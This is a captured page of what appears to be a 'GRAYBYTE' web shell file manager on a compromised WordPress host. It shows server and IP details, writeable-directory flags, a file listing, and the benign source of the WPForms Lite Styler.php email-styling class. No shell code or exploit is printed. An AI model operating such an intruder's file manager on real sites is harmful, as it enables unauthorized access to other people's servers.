$27 GRAYBYTE WORDPRESS FILE MANAGER $25

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.217.254 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/home/bravrvjk/kigalix.com/wp-content/plugins/wpforms-lite/src/Emails/

HOME
Current File : /home/bravrvjk/kigalix.com/wp-content/plugins/wpforms-lite/src/Emails//Styler.php
<?php

namespace WPForms\Emails;

use WPForms\Vendor\TijsVerkoyen\CssToInlineStyles\CssToInlineStyles;
use WPForms\Helpers\Templates;

/**
 * Styler class inline style email templates.
 *
 * @since 1.5.4
 */
class Styler {

	/**
	 * Email message with no styles.
	 *
	 * @since 1.5.4
	 *
	 * @var string
	 */
	protected $email;

	/**
	 * Email style templates names.
	 *
	 * @since 1.5.4
	 *
	 * @var array
	 */
	protected $style_templates;

	/**
	 * Email style overrides.
	 *
	 * @since 1.5.4
	 *
	 * @var array
	 */
	protected $style_overrides;

	/**
	 * Email message with inline styles.
	 *
	 * @since 1.5.4
	 *
	 * @var string
	 */
	protected $styled_email;

	/**
	 * Constructor.
	 *
	 * @since 1.5.4
	 *
	 * @param string $email           Email with no styles.
	 * @param array  $style_templates Email style templates.
	 * @param array  $style_overrides Email style overrides.
	 */
	public function __construct( $email, $style_templates, $style_overrides ) {

		$this->email = $email;

		$this->style_templates = is_array( $style_templates ) ? $style_templates : [];
		$this->style_overrides = is_array( $style_overrides ) ? $style_overrides : [];
	}

	/**
	 * Template style overrides.
	 *
	 * @since 1.5.4
	 *
	 * @return array
	 */
	protected function get_style_overrides() {

		$defaults = Helpers::get_current_template_style_overrides();

		$overrides = \wp_parse_args( $this->style_overrides, $defaults );

		return \apply_filters( 'wpforms_emails_mailer_get_style_overrides', $overrides, $this );
	}

	/**
	 * Locate template name matching styles.
	 *
	 * @since 1.5.4
	 *
	 * @param string $name Template file name part.
	 *
	 * @return string
	 */
	protected function get_styles( $name = 'style' ) {

		if ( ! \array_key_exists( $name, $this->style_templates ) ) {
			return '';
		}

		return Templates::get_html(
			$this->style_templates[ $name ],
			$this->get_style_overrides(),
			true
		);
	}

	/**
	 * Final processing of the template markup.
	 *
	 * @since 1.5.4
	 */
	public function process_markup() {

		$this->styled_email = ( new CssToInlineStyles() )->convert( $this->email, $this->get_styles() );

		$queries = '<style type="text/css">' . $this->get_styles( 'queries' ) . "</style>\n</head>";

		// Inject media queries, CssToInlineStyles strips them.
		$this->styled_email = \str_replace( '</head>', $queries, $this->styled_email );
	}

	/**
	 * Get an email with inline styles.
	 *
	 * @since 1.5.4
	 *
	 * @return string
	 */
	public function get() {

		if ( empty( $this->styled_email ) ) {
			$this->process_markup();
		}

		return $this->styled_email;
	}
}


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
9 May 2025 2.02 AM
bravrvjk / bravrvjk
0755
Templates
--
9 May 2025 2.02 AM
bravrvjk / bravrvjk
0755
FetchInfoBlocksTask.php
2.071 KB
26 Sep 2024 3.36 PM
bravrvjk / bravrvjk
0644
Helpers.php
12.599 KB
16 Jan 2024 5.57 PM
bravrvjk / bravrvjk
0644
InfoBlocks.php
5.362 KB
24 Apr 2025 2.53 PM
bravrvjk / bravrvjk
0644
Mailer.php
12.465 KB
24 Apr 2025 2.53 PM
bravrvjk / bravrvjk
0644
NotificationBlocks.php
4.627 KB
26 Sep 2024 3.36 PM
bravrvjk / bravrvjk
0644
Notifications.php
39.322 KB
5 May 2025 2.58 PM
bravrvjk / bravrvjk
0644
Preview.php
12.951 KB
16 Jan 2024 5.57 PM
bravrvjk / bravrvjk
0644
Styler.php
2.534 KB
28 Nov 2023 4.59 PM
bravrvjk / bravrvjk
0644
Summaries.php
14.078 KB
17 Oct 2024 3.23 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF